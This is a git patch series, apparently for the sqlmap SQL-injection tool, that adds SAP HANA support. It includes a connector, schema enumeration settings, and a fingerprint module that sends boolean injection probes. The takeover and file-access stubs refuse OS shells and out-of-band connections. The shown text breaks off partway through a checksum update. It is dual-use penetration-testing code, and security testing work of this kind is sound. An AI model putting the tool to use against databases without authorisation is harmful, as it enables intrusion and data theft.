From d984593bcba117839da882e2217a7f1b05d628b9 Mon Sep 17 00:00:00 2001 From: zakaria-zoulati Date: Sat, 13 Jun 2026 11:22:40 +0100 Subject: [PATCH 01/12] Add SAP HANA Support --- data/xml/queries.xml | 73 +++++++++++++++++++++++++ lib/controller/handler.py | 3 + lib/core/agent.py | 4 +- lib/core/common.py | 4 +- lib/core/dicts.py | 6 +- lib/core/dump.py | 2 +- lib/core/enums.py | 2 + lib/core/settings.py | 8 ++- plugins/dbms/hana/__init__.py | 29 ++++++++++ plugins/dbms/hana/connector.py | 64 ++++++++++++++++++++++ plugins/dbms/hana/enumeration.py | 16 ++++++ plugins/dbms/hana/filesystem.py | 18 ++++++ plugins/dbms/hana/fingerprint.py | 94 ++++++++++++++++++++++++++++++++ plugins/dbms/hana/syntax.py | 18 ++++++ plugins/dbms/hana/takeover.py | 28 ++++++++++ plugins/generic/databases.py | 2 +- 16 files changed, 361 insertions(+), 10 deletions(-) create mode 100644 plugins/dbms/hana/__init__.py create mode 100644 plugins/dbms/hana/connector.py create mode 100644 plugins/dbms/hana/enumeration.py create mode 100644 plugins/dbms/hana/filesystem.py create mode 100644 plugins/dbms/hana/fingerprint.py create mode 100644 plugins/dbms/hana/syntax.py create mode 100644 plugins/dbms/hana/takeover.py diff --git a/data/xml/queries.xml b/data/xml/queries.xml index e2f28405781..16d19006e6f 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1906,4 +1906,77 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/lib/controller/handler.py b/lib/controller/handler.py index 23e7bb441b4..0721cd1253b 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -25,6 +25,7 @@ from lib.core.settings import FIREBIRD_ALIASES from lib.core.settings import FRONTBASE_ALIASES from lib.core.settings import H2_ALIASES +from lib.core.settings import HANA_ALIASES from lib.core.settings import HSQLDB_ALIASES from lib.core.settings import INFORMIX_ALIASES from lib.core.settings import MAXDB_ALIASES @@ -57,6 +58,7 @@ from plugins.dbms.firebird import FirebirdMap from plugins.dbms.frontbase import FrontBaseMap from plugins.dbms.h2 import H2Map +from plugins.dbms.hana import HANAMap from plugins.dbms.hsqldb import HSQLDBMap from plugins.dbms.informix import InformixMap from plugins.dbms.maxdb import MaxDBMap @@ -113,6 +115,7 @@ def setHandler(): (DBMS.VIRTUOSO, VIRTUOSO_ALIASES, VirtuosoMap, "plugins.dbms.virtuoso.connector"), (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES, SnowflakeMap, "plugins.dbms.snowflake.connector"), (DBMS.SPANNER, SPANNER_ALIASES, SpannerMap, "plugins.dbms.spanner.connector"), + (DBMS.HANA, HANA_ALIASES, HANAMap, "plugins.dbms.hana.connector"), ] _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items) diff --git a/lib/core/agent.py b/lib/core/agent.py index be235b7447e..7eaba222145 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -727,7 +727,7 @@ def concatQuery(self, query, unpack=True): elif fieldsNoSelect: concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop) - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.SPANNER): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.SPANNER, DBMS.HANA): if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += "||'%s'" % kb.chars.stop @@ -1048,7 +1048,7 @@ def limitQuery(self, num, query, field=None, uniqueField=None): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) limitedQuery += " %s" % limitStr - elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.CRATEDB, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE, DBMS.SPANNER): + elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.CRATEDB, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE, DBMS.SPANNER, DBMS.HANA): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num) limitedQuery += " %s" % limitStr diff --git a/lib/core/common.py b/lib/core/common.py index 7102ebe706a..5a01ae2b629 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4307,7 +4307,7 @@ def safeSQLIdentificatorNaming(name, isTable=False): retVal = "`%s`" % retVal elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE): retVal = "\"%s\"" % retVal - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.HANA): retVal = "\"%s\"" % retVal.upper() elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): if isTable: @@ -4346,7 +4346,7 @@ def unsafeSQLIdentificatorNaming(name): retVal = name.replace("`", "") elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE): retVal = name.replace("\"", "") - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.HANA): retVal = name.replace("\"", "").upper() elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): retVal = name.replace("[", "").replace("]", "") diff --git a/lib/core/dicts.py b/lib/core/dicts.py index b53676df0f9..7a5528f9fe6 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -21,6 +21,7 @@ from lib.core.settings import FIREBIRD_ALIASES from lib.core.settings import FRONTBASE_ALIASES from lib.core.settings import H2_ALIASES +from lib.core.settings import HANA_ALIASES from lib.core.settings import HSQLDB_ALIASES from lib.core.settings import INFORMIX_ALIASES from lib.core.settings import MAXDB_ALIASES @@ -254,6 +255,7 @@ DBMS.VIRTUOSO: (VIRTUOSO_ALIASES, None, None, None), DBMS.SNOWFLAKE: (SNOWFLAKE_ALIASES, None, None, "snowflake"), DBMS.SPANNER: (SPANNER_ALIASES, None, None, "spanner"), + DBMS.HANA: (HANA_ALIASES, "hdbcli", "https://pypi.org/project/hdbcli/", "hana"), } # Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/ @@ -267,7 +269,8 @@ DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL", DBMS.DERBY: " FROM SYSIBM.SYSDUMMY1", DBMS.MIMERSQL: " FROM SYSTEM.ONEROW", - DBMS.FRONTBASE: " FROM INFORMATION_SCHEMA.IO_STATISTICS" + DBMS.FRONTBASE: " FROM INFORMATION_SCHEMA.IO_STATISTICS", + DBMS.HANA: " FROM DUMMY" } HEURISTIC_NULL_EVAL = { @@ -295,6 +298,7 @@ DBMS.CLICKHOUSE: "halfMD5(NULL)", DBMS.SNOWFLAKE: "BOOLNOT(NULL)", DBMS.SPANNER: "FARM_FINGERPRINT(NULL)", + DBMS.HANA: "MAP(NULL,NULL,NULL,NULL,NULL)", } SQL_STATEMENTS = { diff --git a/lib/core/dump.py b/lib/core/dump.py index 7cf44c5b9c0..ebac52968a0 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -175,7 +175,7 @@ def currentUser(self, data): self.string("current user", data, content_type=CONTENT_TYPE.CURRENT_USER) def currentDb(self, data): - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.SNOWFLAKE): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.SNOWFLAKE, DBMS.HANA): self.string("current database (equivalent to schema on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.DB2, DBMS.MIMERSQL, DBMS.MAXDB, DBMS.VIRTUOSO): self.string("current database (equivalent to owner on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) diff --git a/lib/core/enums.py b/lib/core/enums.py index 2e1881f19be..4f96a1960df 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -62,6 +62,7 @@ class DBMS(object): VIRTUOSO = "Virtuoso" SNOWFLAKE = "Snowflake" SPANNER = "Spanner" + HANA = "SAP HANA" class DBMS_DIRECTORY_NAME(object): ACCESS = "access" @@ -94,6 +95,7 @@ class DBMS_DIRECTORY_NAME(object): VIRTUOSO = "virtuoso" SNOWFLAKE = "snowflake" SPANNER = "spanner" + HANA = "hana" class FORK(object): MARIADB = "MariaDB" diff --git a/lib/core/settings.py b/lib/core/settings.py index 4736479b7ec..f6191e72eee 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -299,6 +299,7 @@ VIRTUOSO_SYSTEM_DBS = ("",) SNOWFLAKE_SYSTEM_DBS = ("INFORMATION_SCHEMA",) SPANNER_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SPANNER_SYS") +HANA_SYSTEM_DBS = ("SYS", "SYSTEM", "_SYS_BI", "_SYS_BIC", "_SYS_REPO", "_SYS_STATISTICS", "_SYS_XS", "HANA_XS_BASE") # Note: () + () MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") @@ -331,20 +332,21 @@ VIRTUOSO_ALIASES = ("virtuoso", "openlink virtuoso") SNOWFLAKE_ALIASES = ("snowflake",) SPANNER_ALIASES = ("spanner", "google cloud spanner", "google spanner") +HANA_ALIASES = ("hana", "sap hana", "saphana", "hdb") DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_")) -SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES + SNOWFLAKE_ALIASES + SPANNER_ALIASES) +SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES + SNOWFLAKE_ALIASES + SPANNER_ALIASES + HANA_ALIASES) SUPPORTED_OS = ("linux", "windows") -DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES), (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES), (DBMS.SPANNER, SPANNER_ALIASES)) +DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES), (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES), (DBMS.SPANNER, SPANNER_ALIASES), (DBMS.HANA, HANA_ALIASES)) USER_AGENT_ALIASES = ("ua", "useragent", "user-agent") REFERER_ALIASES = ("ref", "referer", "referrer") HOST_ALIASES = ("host",) # DBMSes with upper case identifiers -UPPER_CASE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.H2, DBMS.HSQLDB, DBMS.DERBY, DBMS.ALTIBASE, DBMS.SNOWFLAKE)) +UPPER_CASE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.H2, DBMS.HSQLDB, DBMS.DERBY, DBMS.ALTIBASE, DBMS.SNOWFLAKE, DBMS.HANA)) # Default schemas to use (when unable to enumerate) H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC" diff --git a/plugins/dbms/hana/__init__.py b/plugins/dbms/hana/__init__.py new file mode 100644 index 00000000000..81dbccf257c --- /dev/null +++ b/plugins/dbms/hana/__init__.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import HANA_SYSTEM_DBS +from lib.core.unescaper import unescaper +from plugins.dbms.hana.enumeration import Enumeration +from plugins.dbms.hana.filesystem import Filesystem +from plugins.dbms.hana.fingerprint import Fingerprint +from plugins.dbms.hana.syntax import Syntax +from plugins.dbms.hana.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class HANAMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines SAP HANA methods + """ + + def __init__(self): + self.excludeDbsList = HANA_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.HANA] = Syntax.escape diff --git a/plugins/dbms/hana/connector.py b/plugins/dbms/hana/connector.py new file mode 100644 index 00000000000..b01385ce82a --- /dev/null +++ b/plugins/dbms/hana/connector.py @@ -0,0 +1,64 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +try: + from hdbcli import dbapi +except ImportError: + pass + +from lib.core.common import getSafeExString +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://pypi.org/project/hdbcli/ + User guide: https://help.sap.com/docs/SAP_HANA_PLATFORM/f1b440ded6144a54ada97ff95dac7adf/4fe9978ebac44f35b9369ef5a4a6d73e.html + API: https://help.sap.com/docs/SAP_HANA_CLIENT/f1b440ded6144a54ada97ff95dac7adf/39eb663beaab4f7b94850834e6cb6280.html + Debian package: not available + License: SAP Developer License + """ + + def connect(self): + self.initConnection() + + try: + self.connector = dbapi.connect(address=self.hostname, port=self.port, user=self.user, password=self.password, databaseName=self.db) + except Exception as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except dbapi.Error as ex: + logger.warning(getSafeExString(ex)) + return None + + def execute(self, query): + retVal = False + + try: + self.cursor.execute(query) + retVal = True + except dbapi.Error as ex: + logger.warning(("(remote) '%s'" % getSafeExString(ex)).strip()) + + self.connector.commit() + + return retVal + + def select(self, query): + retVal = None + + if self.execute(query): + retVal = self.fetchall() + + return retVal diff --git a/plugins/dbms/hana/enumeration.py b/plugins/dbms/hana/enumeration.py new file mode 100644 index 00000000000..24e6e5d3808 --- /dev/null +++ b/plugins/dbms/hana/enumeration.py @@ -0,0 +1,16 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on SAP HANA it is not possible to enumerate the user password hashes" + logger.warning(warnMsg) + + return {} diff --git a/plugins/dbms/hana/filesystem.py b/plugins/dbms/hana/filesystem.py new file mode 100644 index 00000000000..5992ee66aff --- /dev/null +++ b/plugins/dbms/hana/filesystem.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def readFile(self, remoteFile): + errMsg = "on SAP HANA reading of files is not supported" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on SAP HANA writing of files is not supported" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/hana/fingerprint.py b/plugins/dbms/hana/fingerprint.py new file mode 100644 index 00000000000..bd292f3f8dd --- /dev/null +++ b/plugins/dbms/hana/fingerprint.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import HANA_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.HANA) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.HANA + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(HANA_ALIASES): + setDbms(DBMS.HANA) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.HANA + logger.info(infoMsg) + + result = inject.checkBooleanExpression("MAP(1,1,'[RANDSTR1]','[RANDSTR2]')='[RANDSTR1]'") + + if result: + infoMsg = "confirming %s" % DBMS.HANA + logger.info(infoMsg) + + result = inject.checkBooleanExpression("(SELECT CURRENT_SCHEMA FROM DUMMY) IS NOT NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.HANA + logger.warning(warnMsg) + + return False + + setDbms(DBMS.HANA) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.HANA + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/hana/syntax.py b/plugins/dbms/hana/syntax.py new file mode 100644 index 00000000000..17a0a02c257 --- /dev/null +++ b/plugins/dbms/hana/syntax.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" + True + """ + + return expression diff --git a/plugins/dbms/hana/takeover.py b/plugins/dbms/hana/takeover.py new file mode 100644 index 00000000000..b21c4f7e858 --- /dev/null +++ b/plugins/dbms/hana/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on SAP HANA it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on SAP HANA it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on SAP HANA it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on SAP HANA it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index f5d5987f62e..2f6a4df833a 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -639,7 +639,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.SNOWFLAKE): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.SNOWFLAKE, DBMS.HANA): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery From 3307babb14018f70b6dbd06733e345b65a10f3f7 Mon Sep 17 00:00:00 2001 From: zakaria-zoulati Date: Sat, 13 Jun 2026 11:34:11 +0100 Subject: [PATCH 02/12] Update the checksum --- data/txt/sha256sums.txt | 25 ++++++++++++++++--------- 1 file changed, 16 insertions(+), 9 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index ad78327cf20..40b9e1ca370 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -84,7 +84,7 @@ b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/paylo 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml 997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1 data/xml/payloads/time_blind.xml 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml -8b63fda09d5c5e43ad8e6db1db90e5b1017fbe02735f3858843fc52118e3a33a data/xml/queries.xml +45c55b519d72ae69b6de963ba8882e1826b48ab584a6d7b8223281ab3b3f86a0 data/xml/queries.xml 0f5a9c84cb57809be8759f483c7d05f54847115e715521ac0ecf390c0aa68465 doc/AUTHORS ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md c8d5733111c6d1e387904bc14e98815f98f816f6e73f6a664de24c0f1d331d9b doc/THANKS.md @@ -163,20 +163,20 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ b8411d1035bb49b073476404e61e1be7f4c61e205057730e2f7880beadcd5f60 lib/controller/action.py ced1c82713afc1309c1495485b3d25a11c95af1f7460ea7922dbb96dacac37b4 lib/controller/checks.py c1881685bef8504ded32c51abed00ab51849008c84b74e8a66117e5f5041b3df lib/controller/controller.py -d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py +2d930f47eaaa95fa129705751ebbeef374d5c1e39d4ac94bab384c2e1bac28eb lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py -b2555d11529689f5d7d02bee0741d3228969e2bf29a2b9140bf1560ff60249e7 lib/core/agent.py +a83db9e3711bdc741ad0fed9a89703b8a61611e014632cbc1ecf677b3bdab5ab lib/core/agent.py ca3e5ce56cb1cae0a8e815425ab6810068004bffe8861d1037c7c87c0ae02477 lib/core/bigarray.py -df59ab7c23d2cf96ea951a9a91f95865b79008ff4131e9178b346e274d920dff lib/core/common.py +362299c76002845faab2954cc65c6ce95c40545cda38f2d739287ecc7a58d5ef lib/core/common.py f30b4eccdb574731fa7e6ef48e71ea82d4bc99be70a2e27bff230943e9039313 lib/core/compat.py e37bfd314a46699b14e1c8a5ea851d546d3a36bea8e5f37466ef2921ff78fefd lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py 6acb645b1f285b21673c70824b03f6209acc5993b50e50da5ed2c713a30626f5 lib/core/datatype.py 70fb2528e580b22564899595b0dff6b1bc257c6a99d2022ce3996a3d04e68e4e lib/core/decorators.py 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py -2f44a1bfe6f18aafe64147b99e69aa93cf438c0e7befe59f4e2aee9065c8b7b6 lib/core/dicts.py -3e00b5c4ca385886f57608f7e0695bb70c696ef3454c181bbdfeea746efba96a lib/core/dump.py 